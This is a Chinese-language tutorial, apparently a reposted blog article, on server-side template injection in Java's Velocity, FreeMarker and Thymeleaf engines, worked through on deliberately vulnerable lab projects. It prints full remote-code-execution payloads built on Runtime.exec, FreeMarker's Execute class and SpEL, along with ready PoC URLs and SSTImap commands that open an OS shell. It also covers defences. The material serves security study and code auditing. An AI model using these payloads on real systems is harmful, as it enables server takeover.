Java SSTI服务端模版注入漏洞原理与利用

news2024/11/26 12:02:04

文章目录

  • 前言
  • Velocity
    • 基础语法
    • 基础示例
    • 命令执行
  • 靶场实践
    • 漏洞代码
    • 漏洞验证
    • 检测工具
  • FreeMarker
    • 基础示例
    • 漏洞示例
    • CMS案例
  • Thymeleaf
    • 基础示例
    • 漏洞示例
    • 安全方案
  • 总结

前言

SSTI(Server Side Template Injection)全称服务端模板注入漏洞,在 Java 中常用的模板引擎有 FreeMarker、Velocity、Thymeleaf、Spring View Manipulation、Pebble、JinJava 及 Hubspot 等等。
imagepng
所谓模版引擎,简单来讲就是利用模版语言的特定语法处理模版中的特定参数,帮助动态渲染数据到 view 层或生成电子邮件、配置文件、HTML 网页等输出文本。模板引擎支持在运行时使用 HTML 页面中的实际值替换变量/占位符,从而让 HTML 页面的设计变得更容易。但是如果没有对用户的输入进行校验,对恶意类进行了调用,就会造成任意代码执行等危害。

常见的可能存在 SSTI 漏洞的模板引擎信息如下:

本文主要学习 Java 项目常见的三大模板引擎(Velocity、FreeMarker、Thymeleaf)的 SSTI 漏洞原理与利用。常见的模板引擎的语法及 payload 总结可参见:PayloadsAllTheThings/Server Side Template Injection。

Velocity

Velocity 是一个基于 Java 的模板引擎,广泛运用于 Java 项目中,Velocity 可用于从模板生成网页、SQL、PostScript 和其他输出。它既可以用作生成源代码和报告的独立实用程序,也可以用作其他系统的集成组件。近年来不少中间件服务器,如 Solr、协同办公软件、confluence、 Jria 等,陆续被爆存在 velocity 模版注入漏洞(CVE-2019-17558、CVE-2019-3394、CVE-2021-43947等)。下文以 Velocity 模板引擎为主,来学习下 SSTI 注入的原理和利用。

基础语法

官方指导文档:https://velocity.apache.org/engine/1.7/user-guide.html。

VTL (Velocity Template Language) 大致语法如下所示:

语法组成详细信息
语句标识符#用来标识 Velocity 的脚本语句,包括 #set、#if 、#else、#end、#foreach、#end、#include、#parse、#macro 等语句。
变量$用来标识一个变量,比如模板文件中为 Hello $a,可以获取通过上下文传递的$a
声明set用于声明 Velocity 脚本变量,变量可以在脚本中声明,比如#set($a ="velocity")
注释单行注释为 ##,多行注释为成对出现的#* ............. *#
变量属性通过.操作符使用变量的内容,比如获取并调用 getClass():#set($e=“e”) $e.getClass()

一个简单的示例:

<html>
  <body>
    #set( $foo = "Velocity" )
    Hello $foo World!
  </body>
</html>

基础示例

创建一个 Maven 项目,在 pom.xml 导入以下依赖:

<!-- https://mvnrepository.com/artifact/org.apache.velocity/velocity -->
<dependency>
  <groupId>org.apache.velocity</groupId>
  <artifactId>velocity</artifactId>
  <version>1.7</version>
</dependency>

在资源文件夹路径下创建如下模板 src/main/resources/test.vm:

Hello World! The first velocity demo.
Name is $name.
Project is $project

然后在主程序编写如下 Velocity 模板引擎的测试代码:

public static void main(String[] args) {
    VelocityEngine velocityEngine = new VelocityEngine();
    velocityEngine.setProperty(VelocityEngine.RESOURCE_LOADER, "file");
    velocityEngine.setProperty(VelocityEngine.FILE_RESOURCE_LOADER_PATH, "src/main/resources");
    velocityEngine.init();

    VelocityContext context = new VelocityContext();
    context.put("name", "Tr0e");
    context.put("project", "Velocity");

    Template template = velocityEngine.getTemplate("test.vm");
    StringWriter sw = new StringWriter();
    template.merge(context, sw);

    System.out.println("final output:\n" + sw);
}

解释下上述代码:

  1. 首先通过 VelocityEngine 创建模板引擎,接着velocityEngine.setProperty设置模板路径src/main/resources、加载器类型为 file;
  2. 然后通过velocityEngine.init()完成引擎初始化;
  3. 接着通过 VelocityContext() 创建上下文变量,通过put添加模板中使用的变量到上下文;
  4. 进一步通过getTemplate选择路径中具体的模板文件test.vm,创建 StringWriter 对象存储渲染结果;
  5. 最后将上下文变量传入template.merge进行渲染。

运行结果如下所示:
imagepng
上面的案例为了简单起见,通过控制台输出 Velocity 模板引擎渲染的数据,实际项目中大部分是将渲染结果通过 html 进行前端展示。

命令执行

而如果 Velocity 引擎加载的模板可以被攻击者控制,便可以导致系统存在命令注入的风险。

来实践体验一下,修改模板 test.vm,在文件头部添加内容如下:

#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("gnome-calculator")

其它内容均不变,重新运行 main 程序,可以看到成功执行打开计算器的命令:
imagepng
【More】上面代码等价于,即行换符号可使用分号替代(即使分号直接去掉也 ok):

#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("gnome-calculator")

【思考】如果上面的缺陷代码,攻击者可以修改的不是整个 template 模板,而是模板中某个变量的值(比如上面例子的 name 变量),能否也实现 RCE?

VelocityContext context = new VelocityContext();
context.put("name", "Tr0e");
context.put("project", "Velocity");

控制某个输出变量可能在实战中遇到的概率比较大,但是本人实践下来并无法实现 RCE,比如替换上面的 name 变量的值 “Tr0e”,修改后的恶意的 Payload 并不会作为执行,而是当作普通字符串赋值给 name 变量。

靶场实践

Java 综合靶场:https://github.com/JoyChou93/java-sec-code。

漏洞代码

https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSTI.java

@RestController
@RequestMapping("/ssti")
public class SSTI {

    /**
     * SSTI of Java velocity. The latest Velocity version still has this problem.
     * Fix method: Avoid to use Velocity.evaluate method.
     * <p>
     * http://localhost:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20Calculator%22)
     * Open a calculator in MacOS.
     *
     * @param template exp
     */
    @GetMapping("/velocity")
    public void velocity(String template) {
        Velocity.init();
        VelocityContext context = new VelocityContext();
        context.put("author", "Elliot A.");
        context.put("address", "217 E Broadway");
        context.put("phone", "555-1337");
        StringWriter swOut = new StringWriter();
        Velocity.evaluate(context, swOut, "test", template);
    }
}

这段漏洞代码的 template 模板完全由外部传递,显然存在 SSTI 漏洞。需要注意的是:这段漏洞代码跟我们上面的示例代码有所差别,此处采用的是调用Velocity.evaluate函数对传递进来的 template 模板进行渲染,上文示例代码则采用的是template.merge函数进行渲染,需要注意这两个 Sink 点是异曲同工的,代码审计过程需要一并关注。

【More】从《CVE-2019-3396 Confluence Velocity SSTI漏洞浅析》文章的分析调试可以看到,CVE-2019-3396 漏洞的代码 sink 点便是template.merge,其中 template 外部攻击者可控,详情请阅读原文。

漏洞验证

POC 如下:

http://192.168.147.197:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22touch%20/tmp/evil2.txt%22)

imagepng
成功执行命令创建文件:
imagepng

检测工具

SSTI 开源漏洞检测与漏洞利用工具:https://github.com/vladko312/SSTImap,支持的模板引擎:https://github.com/vladko312/SSTImap#supported-template-engines。

λ python sstimap.py -u "http://192.168.147.49:8080/ssti/velocity?template=*" -C "JSESSIONID=39779FDC377151009D7FDA904ABBA200; XSRF-TOKEN=fe364f34-83db-47b5-b856-cad98f05e1e e; remember-me=YWRtaW46MTcxOTYzMDAyNDkzMTowMjdiOTIyZTQzMmY0Y2VjOTQ1Y2QwMGY5YmU3OTY1Mw"

imagepng
支持进行命令交互:
imagepng
可惜这个靶场是个盲注无回显的靶场:

λ python sstimap.py -u "http://192.168.147.49:8080/ssti/velocity?template=123" -C "JSESSIONID=39779FDC3771510 09D7FDA904ABBA200; XSRF-TOKEN=fe364f34-83db-47b5-b856-cad98f05e1ee; remember-me=YWRtaW46MTcxOTYzMDAyNDkzMTowMjdiOTIyZTQzMmY0Y2VjOTQ1Y2QwMGY5YmU3OTY1Mw" --os-shell

imagepng
imagepng

FreeMarker

FreeMarker 中文官网:http://freemarker.foofun.cn/index.html。

基础示例

FreeMarker 是一款 Java 语言编写的模板引擎,它是一种基于模板和程序动态生成的数据,动态生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。它不是面向最终用户的,而是一个 Java 类库,是一款程序员可以嵌入他们所开发产品的组件。

FreeMarker 模板文件主要由如下 4 个部分组成:

  1. 文本:包括 HTML 标签与静态文本等静态内容,该部分内容会原样输出;
  2. 注释:使用<#-- ... -->格式做注释,里面内容不会输出;
  3. 插值:即${...}#{...}格式的部分,类似于占位符,将使用数据模型中的部分替代输出;
  4. FTL 指令:即 FreeMarker 指令,全称是:FreeMarker Template Language,和 HTML 标记类似,但名字前加#予以区分,不会输出。

基础示例

在 Maven 项目的 pom.xml 中引入依赖:

<!-- https://mvnrepository.com/artifact/org.freemarker/freemarker -->
<dependency>
  <groupId>org.freemarker</groupId>
  <artifactId>freemarker</artifactId>
  <version>2.3.31</version>
</dependency>

在资源文件夹路径下创建如下src/main/resources/SSTI/hello.ftl模板文件:

<html>
  <head>
    <meta charset="utf-8">
    <title>Freemarker入门</title>
  </head>
  <body>
      <#--我只是一个注释,我不会有任何输出 -->
      ${name}你好,${message}
  </body>
</html>

然后在主程序编写如下 FreeMarker 模板引擎的测试代码:

public static void main(String[] args) throws IOException, TemplateException {
    //1.创建配置类
    Configuration configuration = new Configuration(Configuration.getVersion());
    //2.设置模板所在的目录
    configuration.setDirectoryForTemplateLoading(new File("src/main/resources/SSTI"));
    //3.设置字符集
    configuration.setDefaultEncoding("utf-8");
    //4.加载模板
    Template template = configuration.getTemplate("hello.ftl");
    //5.创建数据模型
    Map map=new HashMap();
    map.put("name", "Tr0e");
    map.put("message", "欢迎来到我的博客!");
    //6.创建Writer对象
    Writer out =new FileWriter(new File("src/main/resources/hello.html"));
    //7.输出
    template.process(map, out);
    //8.关闭Writer对象
    out.close();
}

运行程序,可成功借助 FreeMarker 模板引擎渲染、生成 html 文件:
imagepng

漏洞示例

同样的,如果 template 模板攻击者可控,那么便存在 SSTI 注入导致的任意代码执行漏洞。

修改src/main/resources/SSTI/hello.ftl模板文件,如下:

<html>
<head>
    <meta charset="utf-8">
    <title>Freemarker入门</title>
</head>
<body>
<#--我只是一个注释,我不会有任何输出 -->
${name}你好,${message}
<h3>
    <#assign value="freemarker.template.utility.Execute"?new()>${value("gnome-calculator")}
</h3>
</body>
</html>

程序其它内容均保持不变,重新运行 main,即可发现成功执行打开计算器的命令:
imagepng
综上,如果 FreeMarker 模板引擎的 template 外部可控且未经任何校验,将导致系统存在 RCE 风险。

【漏洞防御】

Configuration configuration = new Configuration();
configuration.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);

设置上述代码会加入一个校验,将freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor等危险 Class 过滤。
imagepng

CMS案例

参见《从ofcms的模板注入漏洞(CVE-2019-9614)浅析SSTI漏洞》,介绍了一个 CMS 采用 FreeMarker 模板引擎导致的 RCE 漏洞。

先登录进 ofcms 的后台 admin 管理界面,然后再模板文件中课编辑 Freemarker 的模板代码,随机挑选一个幸运页面,进行 payload 注入:
imagepng
然后从前台进入该页面(联系我们):
imagepng
即可触发系统命令执行的操作:
imagepng
这个案例在实战中很常见,因为后台管理系统经常会提供各种前台界面模板编辑的功能,此时需留意是否存在 SSTI 漏洞。

Thymeleaf

Thymeleaf 官方指导文档:https://www.thymeleaf.org/documentation.html,中文介绍参考:https://fanlychie.github.io/post/thymeleaf.html。

基础示例

Thymeleaf 是一个服务器端 Java 模板引擎,能够处理 HTML、XML、CSS、JAVASCRIPT 等模板文件。Thymeleaf 模板可以直接当作静态原型来使用,它主要目标是为开发者的开发工作流程带来优雅的自然模板,也是 Java 服务器端 HTML5 开发的理想选择。

Thymeleaf 模板引擎支持多种表达式:

  • 变量表达式:${...}
  • 选择变量表达式:*{...}
  • 链接表达式:@{...}
  • 国际化表达式:#{...}
  • 片段引用表达式:~{...}

直接通过一个示例代码来看看此模板引擎如何使用,Github 有个开源示例项目:spring-view-manipulation。

这是一个 SpringBoot 项目,先看其 pom.xml 引入的 Thymeleaf 依赖:

<dependencies>
  <dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
  </dependency>
  <dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-thymeleaf</artifactId>
  </dependency>
</dependencies>

具体的控制器代码:HelloController.java

@Controller
public class HelloController {

    Logger log = LoggerFactory.getLogger(HelloController.class);

    @GetMapping("/")
    public String index(Model model) {
        model.addAttribute("message", "happy birthday");
        return "welcome";
    }

    //GET /path?lang=en HTTP/1.1
    //GET /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x
    @GetMapping("/path")
    public String path(@RequestParam String lang) {
        return "user/" + lang + "/welcome"; //template path is tainted
    }

    //GET /fragment?section=main
    //GET /fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22touch%20executed%22).getInputStream()).next()%7d__::.x
    @GetMapping("/fragment")
    public String fragment(@RequestParam String section) {
        return "welcome :: " + section; //fragment is tainted
    }

    @GetMapping("/doc/{document}")
    public void getDocument(@PathVariable String document) {
        log.info("Retrieving " + document);
        //returns void, so view name is taken from URI
    }

    @GetMapping("/safe/fragment")
    @ResponseBody
    public String safeFragment(@RequestParam String section) {
        return "welcome :: " + section; //FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name
    }

    @GetMapping("/safe/redirect")
    public String redirect(@RequestParam String url) {
        return "redirect:" + url; //FP as redirects are not resolved as expressions
    }

    @GetMapping("/safe/doc/{document}")
    public void getDocument(@PathVariable String document, HttpServletResponse response) {
        log.info("Retrieving " + document); //FP
    }
}

提供了 Thymeleaf 引擎的基础应用示例、SSTI 漏洞示例、以及安全修复示例。先来关注基础应用示例:

@GetMapping("/")
public String index(Model model) {
   model.addAttribute("message", "happy birthday");
   return "welcome";
}

由于使用了@Controller@GetMapping("/")注解,因此将对根 url (‘/’) 的每个 HTTP GET 请求调用此方法。它没有任何参数,并返回一个静态字符串“welcome",然而 Spring 框架将“welcome”解释为视图名称,并尝试查找位于应用程序资源中的文件“**resources/templates/welcome.html**”。如果找到它,它将呈现模板文件中的视图并返回给用户。

如果正在使用 Thymeleaf 视图引擎(这是 Spring 中最流行的),则模板 welcome.html可能如下所示:

<!DOCTYPE HTML>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
  <div th:fragment="header">
    <h3>Spring Boot Web Thymeleaf Example</h3>
  </div>
  <div th:fragment="main">
    <span th:text="'Hello, ' + ${message}"></span>
  </div>
</html>

运行此 SpringBoot 项目,访问站点根路径,可以看到返回了预期的视图:
imagepng
其中model.addAttribute("message", "happy birthday");设置的 “happy birthday” 字符串成功传递到了 welcome.html 的 message 变量之中,这就是 Thymeleaf 模板引擎发挥的解析和渲染作用。

漏洞示例

从安全角度来看,可能会出现模板名称或片段与不受信任的数据连接的情况。例如,使用 request 参数:

//GET /path?lang=en HTTP/1.1
//GET /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x
@GetMapping("/path")
public String path(@RequestParam String lang) {
    return "user/" + lang + "/welcome"; //template path is tainted
}

Payload 已经在注释中提供了:

/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x

成功执行命令:
imagepng
imagepng
此路由正常的业务则是访问:
imagepng
【注意】上面可以看到当用户控制的数据 (URI) 直接进入视图名称并解析为表达式时,Thymeleaf 模板引擎也变得容易受到攻击。 故 Thymeleaf 模板引擎 SSTI 注入漏洞存在一个与前面 Velocity、FreeMarker 引擎不同的利用点:在模板名称受外部控制的情况下,也可能导致 Thymeleaf SSTI 注入。

安全方案

Safe case: ResponseBody

在某些情况下,控制器会返回使用受控值,但它们不容易受到视图名称操作的影响。例如,当控制器带有 @ResponseBody 注释时:

@GetMapping("/safe/fragment")
@ResponseBody
public String safeFragment(@RequestParam String section) {
    return "welcome :: " + section; //FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name
}

在这种情况下,Spring Framework 不会将其解释为视图名称,而只是在 HTTP 响应中返回此字符串。这同样适用于类上的@RestController,因为它在内部继承@ResponseBody

实践一下:
imagepng
imagepng

Safe case: Response is already processed

@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
    log.info("Retrieving " + document); //FP
}

这种情况与前面的易受攻击示例之一非常相似,但由于控制器在参数中具有 HttpServletResponse,Spring 认为它已经处理了 HTTP 响应,因此视图名称解析不会发生。此检查存在于 ServletResponseMethodArgumentResolver 类中。

Safe case: A redirect

@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
    return "redirect:" + url; //CWE-601, as we can control the hostname in redirect
}

当视图名称被预置时 “redirect:” ,逻辑也不同。在这种情况下,Spring 不再使用 Spring ThymeleafView,而是使用 RedirectView,它不执行表达式计算。此示例仍然存在开放重定向漏洞,但它肯定不像通过表达式计算的 RCE 那样危险。
imagepng
imagepng

总结

本文通过具体的漏洞实例代码,分析、总结了 Java 项目常见的三大模板引擎(Velocity、FreeMarker、Thymeleaf)的 SSTI 漏洞原理与利用方法。虽然相应的模板引擎 SSTI 注入漏洞基本上都拥有 CVE 编号和安全版本,当时在开发人员错误引入存在漏洞缺陷的模板引擎版本的情况下,目标系统依旧存在 RCE 风险。其它模板引擎的 SSTI 漏洞利用基本上同理,实战遇到的话,查询官方语法指导文档后现学现卖即可。

本文参考文章如下:

  1. javaweb代码审计学习(SSTI漏洞);
  2. Java模版引擎注入(SSTI)漏洞研究 - 郑瀚Andrew ;
  3. CVE-2019-3396 Confluence Velocity SSTI漏洞浅析;
  4. 服务器端模版注入SSTI分析与归纳 - 跳跳糖;
  5. 从ofcms的模板注入漏洞(CVE-2019-9614)浅析SSTI漏洞;
  6. https://github.com/veracode-research/spring-view-manipulation。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1826115.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Swift开发——元组

Swift语言的数据类型包括整型、浮点型、字符串、布尔型、数组、元组、集合和字典等,本文将详细介绍元组。 01、元组 严格意义上,元组不属于数据类型,而属于数据结构。元组将一些变量或常量或字面量组织成一个有序的序列,索引号从0开始,用圆括号“()”括起来,各个元素间用…

笔记100:使用 OSQP-Eigen 对 MPC 进行求解的方法与代码

1. 前言&#xff1a; 我们在对系统进行建模的时候&#xff0c;为了减少计算量&#xff0c;一般都将系统简化为线性的&#xff0c;系统如果有约束&#xff0c;也是将约束简化为线性的&#xff1b; 因此本篇博客只针对两种常见系统模型的 MPC 问题进行求解&#xff1a; 线性系统…

【ARM-Linux篇】智能家居语音模块配置

1. pin脚配置&#xff1a; 2. 命令词自定义基本信息&#xff1a; 3. 命令词自定控制详情: • 测试&#xff1a;串口模块可先通过串口助手验证每个指令的准确性&#xff0c; 然后运行wiringOP中的serialTest程序(需把/dev/ttyS2改成/dev/ttyS5) 然后语音接收到指令后(比如喊你好…

如何在 Postman 中进行 HTTPS 请求

https 请求是一种安全的网络通信方式&#xff0c;它使用 SSL/TLS 协议来加密数据和验证身份。在 postman 中发起 https 请求的步骤如下。 Postman 发起 https 请求 1、打开 postman 应用程序&#xff0c;点击左上角的“”号按钮&#xff0c;创建一个新的请求。 2、在请求标签…

MB-iSTFT-VITS 模型论文思路与实验分享:基于VITS架构优化的轻量级文本转语音模型

参考文献&#xff1a; [1] Kawamura M, Shirahata Y, Yamamoto R, et al. Lightweight and high-fidelity end-to-end text-to-speech with multi-band generation and inverse short-time fourier transform[C]//ICASSP 2023-2023 IEEE International Conference on Acoustics…

万能破题方法包(3)暴力破解法

一、前言 暴力破解法是指通过尝试所有可能的密码组合来破解密码 1.1、概念 暴力破解法是一种通过尝试所有可能的密码组合来破解密码的方法。它基于暴力的方式&#xff0c;不依赖于任何密码漏洞或特殊技巧&#xff0c;而是通过穷举所有可能性来找到正确的密码。 1.2、解决步骤 …

华为数通题库HCIP-821——最新最全(带答案解析)

单选1、下面是一台路由器的输出信息&#xff0c;关于这段信息描述正确的是 A目的网段1.1.1.0/24所携带的团体属性值是no—export表明该路由条目不能通告给任何BGP邻居 B目的网段5.1.1.0/24所携带的团体属性值是no—advertise表明该路由条目不能被通告给任何其他的BGP对等体 C…

【秋招突围】2024届秋招笔试-小红书笔试题-第一套-三语言题解(Java/Cpp/Python)

&#x1f36d; 大家好这里是清隆学长 &#xff0c;一枚热爱算法的程序员 ✨ 本系计划跟新各公司春秋招的笔试题 &#x1f4bb; ACM银牌&#x1f948;| 多次AK大厂笔试 &#xff5c; 编程一对一辅导 &#x1f44f; 感谢大家的订阅➕ 和 喜欢&#x1f497; &#x1f4e7; 清隆这边…

若依Ruoyi-vue和element admin的区别,该如何选择。

提到中后台的前端框架&#xff0c;每个人都能列举出很多&#xff0c;这其中提及率比较高的就是Ruoyi和element admin两款&#xff0c;很多小伙伴分不清二者&#xff0c;本文为大家详细讲解一下。 一、若依Ruoyi-vue是什么&#xff1f; 若依Ruoyi-Vue是一款基于 Vue.js 开发的…

英伟达开源3400亿参数巨兽,98%合成数据训练出最强开源通用模型!性能媲美GPT-4o

英伟达刚刚再次证明了其在AI创新领域的领导地位。 它全新发布的Nemotron-4 340B&#xff0c;是一系列具有开创意义的开源模型&#xff0c;有望彻底改变训练LLM的合成数据生成方式&#xff01; 这一突破性进展标志着AI行业的一个重要里程碑—— 各行各业无需依赖昂贵的真实世界数…

挑战5分钟内基于Springboot+SpringMVC+Mybatis-plus快速构建web后端三层架构

目标 在清晨的代码编辑器上&#xff0c;一场新的挑战即将开始。程序员们肃立于安静的办公室&#xff0c;眼神专注地盯着屏幕&#xff0c;等待着编译器的一声提示。 随着编译器输出的激动人心的"start!"的提示&#xff0c;战斗的序幕拉开了。Bug如潮水般涌来&#x…

Golang——gRPC gateway网关

前言 etcd3 API全面升级为gRPC后&#xff0c;同时要提供REST API服务&#xff0c;维护两个版本的服务显然不大合理&#xff0c;所以gRPC-gateway诞生了。通过protobuf的自定义option实现了一个网关。服务端同时开启gRPC和HTTP服务&#xff0c;HTTP服务接收客户端请求后转换为gr…

消息群发工具制作的过程和需要用到的源代码!

在信息化快速发展的今天&#xff0c;消息群发工具因其高效、便捷的特点&#xff0c;在各个领域得到了广泛的应用&#xff0c;无论是企业营销、社交互动&#xff0c;还是日常通知&#xff0c;消息群发工具都发挥着不可替代的作用。 本文将详细介绍消息群发工具的制作过程&#…

[RL9] Rocky Linux 9.4 搭载 PG 16.1

副标题&#xff1a;Rocky Linux 9.4 升级实录&#xff0c;及 PG 16 相关内容 背景 Rocky Linux 9.4 (以下简称 RL) 于5月9日正式发布&#xff0c;本文记录了从 RL 9.3 升级到 9.4 的过程&#xff0c;以及升级前后的一些变化。 之前介绍过 RL 9 的相关内容&#xff0c;请戳&…

【C++】STL中stack、queue、deque的使用

前言&#xff1a;在前面我们学习了List的模拟实现与使用&#xff0c;今天我们进一步的来学习stack、queue、deque的使用方法&#xff0c;然后为后面的模拟实现做一下铺垫。 &#x1f496; 博主CSDN主页:卫卫卫的个人主页 &#x1f49e; &#x1f449; 专栏分类:高质量&#xff…

liunx常见指令

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 目录 前言 二、安装环境 1.租借服务器 2.下载安装 XShell 3.使用xshll登录服务器 三、Linux基础命令 一、文件和命令 ​编辑1、cd 命令 2、pwd 命令 3、ls 命令 4、cp 命令 …

【three.js案例一】智慧星球

直接附上源码: import * as THREE from three; import { OrbitControls } from three/addons/controls/OrbitControls.js;//场景 const scene = new THREE.Scene();const geometry = new THREE.SphereGeometry(50,32,16);console.log(.postion,geometry.attributes.position)…

上网行为管理产品有哪些?好用的四款上网行为管理产品

上网行为管理产品是现代企业网络安全架构中的重要组成部分&#xff0c;它们旨在帮助企业有效监控、管理和控制员工的网络使用行为&#xff0c;确保网络资源的合理利用&#xff0c;保障信息安全&#xff0c;提升工作效率。 以安企神为例&#xff0c;我们将详细介绍它的主要功能…

python保存文件后打不开的原因是什么

引入数据集&#xff0c;奇怪的是怎么也打不开&#xff0c;显示不存在这个文件&#xff1a; 但是&#xff0c;我将文件改个名字&#xff0c;就打开了&#xff0c;难道csv的文件命名必须有一定合法性&#xff1f; import pandas users pandas.read_csv("H:\python\data an…

OpenDevin 环境配置及踩坑指南

不惧怕任何环境配置 首先 clone 项目&#xff0c;然后查看开发者文档&#xff1a;https://github.com/OpenDevin/OpenDevin/blob/main/Development.md make setup-config 自定义 LLM 配置 首先这个 devin 写的是支持自定义的 LLM 配置&#xff0c;并且提供了交互式命令供我们…